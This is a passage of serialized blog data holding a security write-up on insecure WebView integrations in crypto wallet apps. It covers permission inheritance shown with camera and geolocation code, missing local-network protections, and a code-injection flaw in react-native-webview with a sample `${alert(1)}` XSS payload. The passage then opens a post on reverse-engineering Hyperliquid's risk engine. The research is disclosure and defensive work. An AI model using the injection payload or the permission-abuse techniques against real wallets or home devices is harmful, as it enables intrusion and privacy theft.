hildren":158998},{"style":426},[158999],{"type":31,"value":429},{"type":25,"tag":201,"props":159001,"children":159002},{"style":261},[159003],{"type":31,"value":308},{"type":25,"tag":201,"props":159005,"children":159006},{"class":203,"line":865},[159007,159012,159016,159021,159025,159030,159034,159038,159042,159047,159051,159056],{"type":25,"tag":201,"props":159008,"children":159009},{"style":246},[159010],{"type":31,"value":159011},"                stream",{"type":25,"tag":201,"props":159013,"children":159014},{"style":261},[159015],{"type":31,"value":80},{"type":25,"tag":201,"props":159017,"children":159018},{"style":214},[159019],{"type":31,"value":159020},"getTracks",{"type":25,"tag":201,"props":159022,"children":159023},{"style":261},[159024],{"type":31,"value":31652},{"type":25,"tag":201,"props":159026,"children":159027},{"style":214},[159028],{"type":31,"value":159029},"forEach",{"type":25,"tag":201,"props":159031,"children":159032},{"style":261},[159033],{"type":31,"value":298},{"type":25,"tag":201,"props":159035,"children":159036},{"style":246},[159037],{"type":31,"value":23225},{"type":25,"tag":201,"props":159039,"children":159040},{"style":208},[159041],{"type":31,"value":29237},{"type":25,"tag":201,"props":159043,"children":159044},{"style":246},[159045],{"type":31,"value":159046}," t",{"type":25,"tag":201,"props":159048,"children":159049},{"style":261},[159050],{"type":31,"value":80},{"type":25,"tag":201,"props":159052,"children":159053},{"style":214},[159054],{"type":31,"value":159055},"stop",{"type":25,"tag":201,"props":159057,"children":159058},{"style":261},[159059],{"type":31,"value":16921},{"type":25,"tag":201,"props":159061,"children":159062},{"class":203,"line":931},[159063,159067,159071,159076,159080,159084,159088,159092],{"type":25,"tag":201,"props":159064,"children":159065},{"style":246},[159066],{"type":31,"value":158799},{"type":25,"tag":201,"props":159068,"children":159069},{"style":261},[159070],{"type":31,"value":80},{"type":25,"tag":201,"props":159072,"children":159073},{"style":214},[159074],{"type":31,"value":159075},"toBlob",{"type":25,"tag":201,"props":159077,"children":159078},{"style":261},[159079],{"type":31,"value":375},{"type":25,"tag":201,"props":159081,"children":159082},{"style":246},[159083],{"type":31,"value":1877},{"type":25,"tag":201,"props":159085,"children":159086},{"style":261},[159087],{"type":31,"value":385},{"type":25,"tag":201,"props":159089,"children":159090},{"style":208},[159091],{"type":31,"value":390},{"type":25,"tag":201,"props":159093,"children":159094},{"style":261},[159095],{"type":31,"value":327},{"type":25,"tag":201,"props":159097,"children":159098},{"class":203,"line":939},[159099,159104,159108,159112,159116,159121,159125,159130,159134,159138],{"type":25,"tag":201,"props":159100,"children":159101},{"style":246},[159102],{"type":31,"value":159103},"                    pic",{"type":25,"tag":201,"props":159105,"children":159106},{"style":261},[159107],{"type":31,"value":80},{"type":25,"tag":201,"props":159109,"children":159110},{"style":246},[159111],{"type":31,"value":1596},{"type":25,"tag":201,"props":159113,"children":159114},{"style":261},[159115],{"type":31,"value":1840},{"type":25,"tag":201,"props":159117,"children":159118},{"style":246},[159119],{"type":31,"value":159120},"URL",{"type":25,"tag":201,"props":159122,"children":159123},{"style":261},[159124],{"type":31,"value":80},{"type":25,"tag":201,"props":159126,"children":159127},{"style":214},[159128],{"type":31,"value":159129},"createObjectURL",{"type":25,"tag":201,"props":159131,"children":159132},{"style":261},[159133],{"type":31,"value":298},{"type":25,"tag":201,"props":159135,"children":159136},{"style":246},[159137],{"type":31,"value":1877},{"type":25,"tag":201,"props":159139,"children":159140},{"style":261},[159141],{"type":31,"value":308},{"type":25,"tag":201,"props":159143,"children":159144},{"class":203,"line":960},[159145],{"type":25,"tag":201,"props":159146,"children":159147},{"style":261},[159148],{"type":31,"value":159149},"                });\n",{"type":25,"tag":201,"props":159151,"children":159152},{"class":203,"line":977},[159153],{"type":25,"tag":201,"props":159154,"children":159155},{"emptyLinePlaceholder":17},[159156],{"type":31,"value":496},{"type":25,"tag":201,"props":159158,"children":159159},{"class":203,"line":994},[159160,159165,159169,159174,159178,159183,159187,159192,159196],{"type":25,"tag":201,"props":159161,"children":159162},{"style":246},[159163],{"type":31,"value":159164},"                navigator",{"type":25,"tag":201,"props":159166,"children":159167},{"style":261},[159168],{"type":31,"value":80},{"type":25,"tag":201,"props":159170,"children":159171},{"style":246},[159172],{"type":31,"value":159173},"geolocation",{"type":25,"tag":201,"props":159175,"children":159176},{"style":261},[159177],{"type":31,"value":80},{"type":25,"tag":201,"props":159179,"children":159180},{"style":214},[159181],{"type":31,"value":159182},"getCurrentPosition",{"type":25,"tag":201,"props":159184,"children":159185},{"style":261},[159186],{"type":31,"value":298},{"type":25,"tag":201,"props":159188,"children":159189},{"style":246},[159190],{"type":31,"value":159191},"pos",{"type":25,"tag":201,"props":159193,"children":159194},{"style":208},[159195],{"type":31,"value":29237},{"type":25,"tag":201,"props":159197,"children":159198},{"style":261},[159199],{"type":31,"value":327},{"type":25,"tag":201,"props":159201,"children":159202},{"class":203,"line":1016},[159203,159208,159212,159216,159220,159224,159229],{"type":25,"tag":201,"props":159204,"children":159205},{"style":208},[159206],{"type":31,"value":159207},"                    const",{"type":25,"tag":201,"props":159209,"children":159210},{"style":246},[159211],{"type":31,"value":38515},{"type":25,"tag":201,"props":159213,"children":159214},{"style":261},[159215],{"type":31,"value":1840},{"type":25,"tag":201,"props":159217,"children":159218},{"style":246},[159219],{"type":31,"value":159191},{"type":25,"tag":201,"props":159221,"children":159222},{"style":261},[159223],{"type":31,"value":80},{"type":25,"tag":201,"props":159225,"children":159226},{"style":246},[159227],{"type":31,"value":159228},"coords",{"type":25,"tag":201,"props":159230,"children":159231},{"style":261},[159232],{"type":31,"value":461},{"type":25,"tag":201,"props":159234,"children":159235},{"class":203,"line":1089},[159236,159241,159245,159249,159253,159258,159262,159266,159270,159275,159279,159284,159288,159292,159296,159300,159304,159309,159313,159317,159321,159326,159330,159334,159338,159342,159346,159350,159354],{"type":25,"tag":201,"props":159237,"children":159238},{"style":246},[159239],{"type":31,"value":159240},"                    gps",{"type":25,"tag":201,"props":159242,"children":159243},{"style":261},[159244],{"type":31,"value":80},{"type":25,"tag":201,"props":159246,"children":159247},{"style":246},[159248],{"type":31,"value":3906},{"type":25,"tag":201,"props":159250,"children":159251},{"style":261},[159252],{"type":31,"value":1840},{"type":25,"tag":201,"props":159254,"children":159255},{"style":267},[159256],{"type":31,"value":159257},"`Lat: ",{"type":25,"tag":201,"props":159259,"children":159260},{"style":208},[159261],{"type":31,"value":3045},{"type":25,"tag":201,"props":159263,"children":159264},{"style":246},[159265],{"type":31,"value":4652},{"type":25,"tag":201,"props":159267,"children":159268},{"style":261},[159269],{"type":31,"value":80},{"type":25,"tag":201,"props":159271,"children":159272},{"style":246},[159273],{"type":31,"value":159274},"latitude",{"type":25,"tag":201,"props":159276,"children":159277},{"style":261},[159278],{"type":31,"value":80},{"type":25,"tag":201,"props":159280,"children":159281},{"style":214},[159282],{"type":31,"value":159283},"toFixed",{"type":25,"tag":201,"props":159285,"children":159286},{"style":261},[159287],{"type":31,"value":298},{"type":25,"tag":201,"props":159289,"children":159290},{"style":426},[159291],{"type":31,"value":5516},{"type":25,"tag":201,"props":159293,"children":159294},{"style":261},[159295],{"type":31,"value":3073},{"type":25,"tag":201,"props":159297,"children":159298},{"style":208},[159299],{"type":31,"value":3078},{"type":25,"tag":201,"props":159301,"children":159302},{"style":49450},[159303],{"type":31,"value":49453},{"type":25,"tag":201,"props":159305,"children":159306},{"style":267},[159307],{"type":31,"value":159308},"Lon: ",{"type":25,"tag":201,"props":159310,"children":159311},{"style":208},[159312],{"type":31,"value":3045},{"type":25,"tag":201,"props":159314,"children":159315},{"style":246},[159316],{"type":31,"value":4652},{"type":25,"tag":201,"props":159318,"children":159319},{"style":261},[159320],{"type":31,"value":80},{"type":25,"tag":201,"props":159322,"children":159323},{"style":246},[159324],{"type":31,"value":159325},"longitude",{"type":25,"tag":201,"props":159327,"children":159328},{"style":261},[159329],{"type":31,"value":80},{"type":25,"tag":201,"props":159331,"children":159332},{"style":214},[159333],{"type":31,"value":159283},{"type":25,"tag":201,"props":159335,"children":159336},{"style":261},[159337],{"type":31,"value":298},{"type":25,"tag":201,"props":159339,"children":159340},{"style":426},[159341],{"type":31,"value":5516},{"type":25,"tag":201,"props":159343,"children":159344},{"style":261},[159345],{"type":31,"value":3073},{"type":25,"tag":201,"props":159347,"children":159348},{"style":208},[159349],{"type":31,"value":3078},{"type":25,"tag":201,"props":159351,"children":159352},{"style":267},[159353],{"type":31,"value":3083},{"type":25,"tag":201,"props":159355,"children":159356},{"style":261},[159357],{"type":31,"value":461},{"type":25,"tag":201,"props":159359,"children":159360},{"class":203,"line":1107},[159361,159366,159370,159374,159379,159383,159387],{"type":25,"tag":201,"props":159362,"children":159363},{"style":261},[159364],{"type":31,"value":159365},"                }, ",{"type":25,"tag":201,"props":159367,"children":159368},{"style":246},[159369],{"type":31,"value":49497},{"type":25,"tag":201,"props":159371,"children":159372},{"style":208},[159373],{"type":31,"value":29237},{"type":25,"tag":201,"props":159375,"children":159376},{"style":214},[159377],{"type":31,"value":159378}," alert",{"type":25,"tag":201,"props":159380,"children":159381},{"style":261},[159382],{"type":31,"value":298},{"type":25,"tag":201,"props":159384,"children":159385},{"style":246},[159386],{"type":31,"value":49497},{"type":25,"tag":201,"props":159388,"children":159389},{"style":261},[159390],{"type":31,"value":8732},{"type":25,"tag":201,"props":159392,"children":159393},{"class":203,"line":1116},[159394],{"type":25,"tag":201,"props":159395,"children":159396},{"style":261},[159397],{"type":31,"value":49151},{"type":25,"tag":201,"props":159399,"children":159400},{"class":203,"line":1124},[159401],{"type":25,"tag":201,"props":159402,"children":159403},{"emptyLinePlaceholder":17},[159404],{"type":31,"value":496},{"type":25,"tag":201,"props":159406,"children":159407},{"class":203,"line":1163},[159408],{"type":25,"tag":201,"props":159409,"children":159410},{"style":261},[159411],{"type":31,"value":4853},{"type":25,"tag":201,"props":159413,"children":159414},{"class":203,"line":1172},[159415,159420],{"type":25,"tag":201,"props":159416,"children":159417},{"style":214},[159418],{"type":31,"value":159419},"        main",{"type":25,"tag":201,"props":159421,"children":159422},{"style":261},[159423],{"type":31,"value":1985},{"type":25,"tag":201,"props":159425,"children":159426},{"class":203,"line":1181},[159427,159431,159435],{"type":25,"tag":201,"props":159428,"children":159429},{"style":1295},[159430],{"type":31,"value":1756},{"type":25,"tag":201,"props":159432,"children":159433},{"style":208},[159434],{"type":31,"value":1337},{"type":25,"tag":201,"props":159436,"children":159437},{"style":1295},[159438],{"type":31,"value":1308},{"type":25,"tag":201,"props":159440,"children":159441},{"class":203,"line":1190},[159442,159446,159450],{"type":25,"tag":201,"props":159443,"children":159444},{"style":1295},[159445],{"type":31,"value":1352},{"type":25,"tag":201,"props":159447,"children":159448},{"style":208},[159449],{"type":31,"value":1321},{"type":25,"tag":201,"props":159451,"children":159452},{"style":1295},[159453],{"type":31,"value":1308},{"type":25,"tag":201,"props":159455,"children":159456},{"class":203,"line":1198},[159457,159461,159465],{"type":25,"tag":201,"props":159458,"children":159459},{"style":1295},[159460],{"type":31,"value":1352},{"type":25,"tag":201,"props":159462,"children":159463},{"style":208},[159464],{"type":31,"value":1303},{"type":25,"tag":201,"props":159466,"children":159467},{"style":1295},[159468],{"type":31,"value":1308},{"type":25,"tag":20392,"props":159470,"children":159471},{"id":5730},[159472],{"type":31,"value":5733},{"type":25,"tag":34,"props":159474,"children":159475},{},[159476],{"type":31,"value":159477},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":25,"tag":34,"props":159479,"children":159480},{},[159481,159483,159489],{"type":31,"value":159482},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":25,"tag":71,"props":159484,"children":159487},{"href":159485,"rel":159486},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[75],[159488],{"type":31,"value":48661},{"type":31,"value":80},{"type":25,"tag":175,"props":159491,"children":159492},{"style":177},[159493],{"type":25,"tag":127,"props":159494,"children":159498},{"src":159495,"alt":159496,"style":159497},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":25,"tag":34,"props":159500,"children":159501},{},[159502],{"type":31,"value":159503},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":25,"tag":26,"props":159505,"children":159507},{"id":159506},"local-network-access",[159508],{"type":31,"value":159509},"Local Network Access",{"type":25,"tag":34,"props":159511,"children":159512},{},[159513,159515,159522,159524,159530],{"type":31,"value":159514},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":25,"tag":71,"props":159516,"children":159519},{"href":159517,"rel":159518},"https://wicg.github.io/private-network-access/",[75],[159520],{"type":31,"value":159521},"Private Network Access",{"type":31,"value":159523}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":25,"tag":71,"props":159525,"children":159528},{"href":159526,"rel":159527},"https://x.com/taviso/status/2051310678800253318",[75],[159529],{"type":31,"value":159526},{"type":31,"value":159531},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":25,"tag":175,"props":159533,"children":159534},{"style":177},[159535],{"type":25,"tag":127,"props":159536,"children":159539},{"src":159537,"alt":159496,"style":159538},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":25,"tag":34,"props":159541,"children":159542},{},[159543],{"type":31,"value":159544},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":25,"tag":159546,"props":159547,"children":159550},"zoom-image",{"src":159548,"alt":159549},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":25,"tag":34,"props":159552,"children":159553},{},[159554],{"type":31,"value":159555},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":25,"tag":18183,"props":159557,"children":159558},{},[159559,159564,159569],{"type":25,"tag":6948,"props":159560,"children":159561},{},[159562],{"type":31,"value":159563},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":25,"tag":6948,"props":159565,"children":159566},{},[159567],{"type":31,"value":159568},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":25,"tag":6948,"props":159570,"children":159571},{},[159572],{"type":31,"value":159573},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":25,"tag":34,"props":159575,"children":159576},{},[159577],{"type":31,"value":159578},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":25,"tag":26,"props":159580,"children":159582},{"id":159581},"uxss-by-code-injection",[159583],{"type":31,"value":159584},"UXSS by Code Injection",{"type":25,"tag":34,"props":159586,"children":159587},{},[159588,159590,159596],{"type":31,"value":159589},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":25,"tag":115,"props":159591,"children":159593},{"className":159592},[],[159594],{"type":31,"value":159595},"injectJavascriptObject",{"type":31,"value":159597}," attribute worked. Here is the code snippet:",{"type":25,"tag":191,"props":159599,"children":159601},{"className":157837,"code":159600,"language":157839,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[159602],{"type":25,"tag":115,"props":159603,"children":159604},{"__ignoreMap":7},[159605,159625,159654,159688,159743,159848,159860,159873],{"type":25,"tag":201,"props":159606,"children":159607},{"class":203,"line":204},[159608,159612,159616,159621],{"type":25,"tag":201,"props":159609,"children":159610},{"style":208},[159611],{"type":31,"value":71865},{"type":25,"tag":201,"props":159613,"children":159614},{"style":4925},[159615],{"type":31,"value":52127},{"type":25,"tag":201,"props":159617,"children":159618},{"style":214},[159619],{"type":31,"value":159620}," injectJavascriptObject",{"type":25,"tag":201,"props":159622,"children":159623},{"style":220},[159624],{"type":31,"value":223},{"type":25,"tag":201,"props":159626,"children":159627},{"class":203,"line":226},[159628,159632,159636,159641,159645,159650],{"type":25,"tag":201,"props":159629,"children":159630},{"style":230},[159631],{"type":31,"value":40357},{"type":25,"tag":201,"props":159633,"children":159634},{"style":220},[159635],{"type":31,"value":238},{"type":25,"tag":201,"props":159637,"children":159638},{"style":214},[159639],{"type":31,"value":159640},"getSettings",{"type":25,"tag":201,"props":159642,"children":159643},{"style":220},[159644],{"type":31,"value":31652},{"type":25,"tag":201,"props":159646,"children":159647},{"style":214},[159648],{"type":31,"value":159649},"getJavaScriptEnabled",{"type":25,"tag":201,"props":159651,"children":159652},{"style":220},[159653],{"type":31,"value":93105},{"type":25,"tag":201,"props":159655,"children":159656},{"class":203,"line":278},[159657,159662,159667,159671,159676,159680,159684],{"type":25,"tag":201,"props":159658,"children":159659},{"style":4925},[159660],{"type":31,"value":159661},"        String",{"type":25,"tag":201,"props":159663,"children":159664},{"style":246},[159665],{"type":31,"value":159666}," js",{"type":25,"tag":201,"props":159668,"children":159669},{"style":261},[159670],{"type":31,"value":413},{"type":25,"tag":201,"props":159672,"children":159673},{"style":267},[159674],{"type":31,"value":159675}," \"(function(){",{"type":25,"tag":201,"props":159677,"children":159678},{"style":49450},[159679],{"type":31,"value":49453},{"type":25,"tag":201,"props":159681,"children":159682},{"style":267},[159683],{"type":31,"value":1557},{"type":25,"tag":201,"props":159685,"children":159686},{"style":261},[159687],{"type":31,"value":11290},{"type":25,"tag":201,"props":159689,"children":159690},{"class":203,"line":311},[159691,159696,159700,159705,159709,159714,159718,159722,159726,159731,159735,159739],{"type":25,"tag":201,"props":159692,"children":159693},{"style":267},[159694],{"type":31,"value":159695},"          \"    window.\"",{"type":25,"tag":201,"props":159697,"children":159698},{"style":261},[159699],{"type":31,"value":10412},{"type":25,"tag":201,"props":159701,"children":159702},{"style":220},[159703],{"type":31,"value":159704}," JAVASCRIPT_INTERFACE ",{"type":25,"tag":201,"props":159706,"children":159707},{"style":261},[159708],{"type":31,"value":5886},{"type":25,"tag":201,"props":159710,"children":159711},{"style":267},[159712],{"type":31,"value":159713}," \" = window.\"",{"type":25,"tag":201,"props":159715,"children":159716},{"style":261},[159717],{"type":31,"value":10412},{"type":25,"tag":201,"props":159719,"children":159720},{"style":220},[159721],{"type":31,"value":159704},{"type":25,"tag":201,"props":159723,"children":159724},{"style":261},[159725],{"type":31,"value":5886},{"type":25,"tag":201,"props":159727,"children":159728},{"style":267},[159729],{"type":31,"value":159730}," \" || {};",{"type":25,"tag":201,"props":159732,"children":159733},{"style":49450},[159734],{"type":31,"value":49453},{"type":25,"tag":201,"props":159736,"children":159737},{"style":267},[159738],{"type":31,"value":1557},{"type":25,"tag":201,"props":159740,"children":159741},{"style":261},[159742],{"type":31,"value":11290},{"type":25,"tag":201,"props":159744,"children":159745},{"class":203,"line":330},[159746,159750,159754,159758,159762,159767,159771,159776,159780,159784,159788,159792,159796,159800,159805,159809,159814,159818,159823,159827,159831,159836,159840,159844],{"type":25,"tag":201,"props":159747,"children":159748},{"style":267},[159749],{"type":31,"value":159695},{"type":25,"tag":201,"props":159751,"children":159752},{"style":261},[159753],{"type":31,"value":10412},{"type":25,"tag":201,"props":159755,"children":159756},{"style":220},[159757],{"type":31,"value":159704},{"type":25,"tag":201,"props":159759,"children":159760},{"style":261},[159761],{"type":31,"value":5886},{"type":25,"tag":201,"props":159763,"children":159764},{"style":267},[159765],{"type":31,"value":159766}," \".injectedObjectJson = function () { return \"",{"type":25,"tag":201,"props":159768,"children":159769},{"style":261},[159770],{"type":31,"value":10412},{"type":25,"tag":201,"props":159772,"children":159773},{"style":220},[159774],{"type":31,"value":159775}," (injectedJavaScriptObject ",{"type":25,"tag":201,"props":159777,"children":159778},{"style":261},[159779],{"type":31,"value":10083},{"type":25,"tag":201,"props":159781,"children":159782},{"style":208},[159783],{"type":31,"value":71351},{"type":25,"tag":201,"props":159785,"children":159786},{"style":230},[159787],{"type":31,"value":99125},{"type":25,"tag":201,"props":159789,"children":159790},{"style":208},[159791],{"type":31,"value":71351},{"type":25,"tag":201,"props":159793,"children":159794},{"style":230},[159795],{"type":31,"value":4059},{"type":25,"tag":201,"props":159797,"children":159798},{"style":220},[159799],{"type":31,"value":238},{"type":25,"tag":201,"props":159801,"children":159802},{"style":267},[159803],{"type":31,"value":159804},"\"`\"",{"type":25,"tag":201,"props":159806,"children":159807},{"style":261},[159808],{"type":31,"value":10412},{"type":25,"tag":201,"props":159810,"children":159811},{"style":220},[159812],{"type":31,"value":159813}," injectedJavaScriptObject ",{"type":25,"tag":201,"props":159815,"children":159816},{"style":261},[159817],{"type":31,"value":5886},{"type":25,"tag":201,"props":159819,"children":159820},{"style":267},[159821],{"type":31,"value":159822}," \"`\"",{"type":25,"tag":201,"props":159824,"children":159825},{"style":220},[159826],{"type":31,"value":10344},{"type":25,"tag":201,"props":159828,"children":159829},{"style":261},[159830],{"type":31,"value":5886},{"type":25,"tag":201,"props":159832,"children":159833},{"style":267},[159834],{"type":31,"value":159835}," \"; };",{"type":25,"tag":201,"props":159837,"children":159838},{"style":49450},[159839],{"type":31,"value":49453},{"type":25,"tag":201,"props":159841,"children":159842},{"style":267},[159843],{"type":31,"value":1557},{"type":25,"tag":201,"props":159845,"children":159846},{"style":261},[159847],{"type":31,"value":11290},{"type":25,"tag":201,"props":159849,"children":159850},{"class":203,"line":397},[159851,159856],{"type":25,"tag":201,"props":159852,"children":159853},{"style":267},[159854],{"type":31,"value":159855},"          \"})();\"",{"type":25,"tag":201,"props":159857,"children":159858},{"style":220},[159859],{"type":31,"value":461},{"type":25,"tag":201,"props":159861,"children":159862},{"class":203,"line":437},[159863,159868],{"type":25,"tag":201,"props":159864,"children":159865},{"style":214},[159866],{"type":31,"value":159867},"        evaluateJavascriptWithFallback",{"type":25,"tag":201,"props":159869,"children":159870},{"style":220},[159871],{"type":31,"value":159872},"(js);\n",{"type":25,"tag":201,"props":159874,"children":159875},{"class":203,"line":464},[159876],{"type":25,"tag":201,"props":159877,"children":159878},{"style":220},[159879],{"type":31,"value":14166},{"type":25,"tag":34,"props":159881,"children":159882},{},[159883,159885,159891,159893,159898,159900,159906],{"type":31,"value":159884},"It basically injects a javascript code with the ",{"type":25,"tag":115,"props":159886,"children":159888},{"className":159887},[],[159889],{"type":31,"value":159890},"injectedJavascriptObject",{"type":31,"value":159892}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":25,"tag":115,"props":159894,"children":159896},{"className":159895},[],[159897],{"type":31,"value":159890},{"type":31,"value":159899},". If we control a single attribute we can inject a payload like ",{"type":25,"tag":115,"props":159901,"children":159903},{"className":159902},[],[159904],{"type":31,"value":159905},"${alert(1)}",{"type":31,"value":159907}," and achieve XSS in the context of the loaded page.",{"type":25,"tag":34,"props":159909,"children":159910},{},[159911,159913,159920],{"type":31,"value":159912},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":25,"tag":71,"props":159914,"children":159917},{"href":159915,"rel":159916},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[75],[159918],{"type":31,"value":159919},"PR with the report and fix",{"type":31,"value":80},{"type":25,"tag":34,"props":159922,"children":159923},{},[159924],{"type":31,"value":159925},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":25,"tag":34,"props":159927,"children":159928},{},[159929,159931,159937],{"type":31,"value":159930},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":25,"tag":115,"props":159932,"children":159934},{"className":159933},[],[159935],{"type":31,"value":159936},"injectedJavaScriptObject",{"type":31,"value":159938}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":25,"tag":40,"props":159940,"children":159941},{"id":4323},[159942],{"type":31,"value":4326},{"type":25,"tag":34,"props":159944,"children":159945},{},[159946],{"type":31,"value":159947},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":25,"tag":4349,"props":159949,"children":159950},{},[159951],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":159953},[159954,159958,159961,159962],{"id":157677,"depth":226,"text":157680,"children":159955},[159956,159957],{"id":157688,"depth":278,"text":157691},{"id":157763,"depth":278,"text":157766},{"id":157796,"depth":226,"text":157799,"children":159959},[159960],{"id":157986,"depth":278,"text":157989},{"id":159506,"depth":226,"text":159509},{"id":159581,"depth":226,"text":159584,"children":159963},[159964],{"id":4323,"depth":278,"text":4326},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":159969,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":159970,"description":159971,"date":159972,"author":159973,"image":159974,"isFeatured":17,"onBlogPage":17,"tags":159978,"hideToc":17,"body":159982,"_type":4371,"_id":166621,"_source":4373,"_file":166622,"_stem":166623,"_extension":4376},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":159975,"width":159976,"height":159977},"/posts/hyperliquid-risk-engine/title.png",1456,816,[159979,159980,159981],"hyperliquid","reverse-engineering","defi",{"type":22,"children":159983,"toc":166593},[159984,159990,159998,160003,160008,160013,160025,160030,160043,160062,160068,160080,160093,160098,160129,160134,160147,160152,160343,160349,160354,160366,160372,160377,160383,160396,160430,160435,160440,160452,160458,160478,160486,160499,160505,160516,160522,160534,160539,160545,160565,160573,160579,160613,160617,160653,160658,160663,160668,160681,160718,160723,160737,160743,160748,160774,160782,160787,160815,160820,160825,161163,161168,161173,161193,161220,161225,161238,161250,161255,161260,161266,161271,161276,161290,161295,161301,161329,161366,161377,161381,161386,161391,161397,161563,161598,161603,161609,161615,161804,161817,161822,161828,161849,161854,161860,161865,161870,161882,161887,161892,161898,161903,161908,161914,161920,161933,161966,161971,164547,164815,164820,166150,166155,166160,166172,166263,166275,166280,166286,166291,166299,166304,166312,166318,166352,166363,166371,166377,166383,166388,166396,166401,166406,166414,166426,166432,166437,166443,166454,166459,166465,166470,166475,166481,166486,166489,166494,166499,166505,166510,166522,166527,166532],{"type":25,"tag":26,"props":159985,"children":159987},{"id":159986},"perpetuals",[159988],{"type":31,"value":159989},"Perpetuals",{"type":25,"tag":4439,"props":159991,"children":159992},{},[159993],{"type":25,"tag":34,"props":159994,"children":159995},{},[159996],{"type":31,"value":159997},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":25,"tag":34,"props":159999,"children":160000},{},[160001],{"type":31,"value":160002},"What does that even have to do with reverse engineering?",{"type":25,"tag":26,"props":160004,"children":160005},{"id":159979},[160006],{"type":31,"value":160007},"Hyperliquid",{"type":25,"tag":34,"props":160009,"children":160010},{},[160011],{"type":31,"value":160012},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":25,"tag":34,"props":160014,"children":160015},{},[160016,160018,160023],{"type":31,"value":160017},"The node is tasked with a ",{"type":25,"tag":65,"props":160019,"children":160020},{},[160021],{"type":31,"value":160022},"very hard problem",{"type":31,"value":160024},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":25,"tag":34,"props":160026,"children":160027},{},[160028],{"type":31,"value":160029},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":25,"tag":34,"props":160031,"children":160032},{},[160033,160035,160041],{"type":31,"value":160034},"Beyond that, the ",{"type":25,"tag":115,"props":160036,"children":160038},{"className":160037},[],[160039],{"type":31,"value":160040},"hl-node",{"type":31,"value":160042}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":25,"tag":34,"props":160044,"children":160045},{},[160046,160048,160053,160055,160060],{"type":31,"value":160047},"Armed with some curiosity, a good amount of 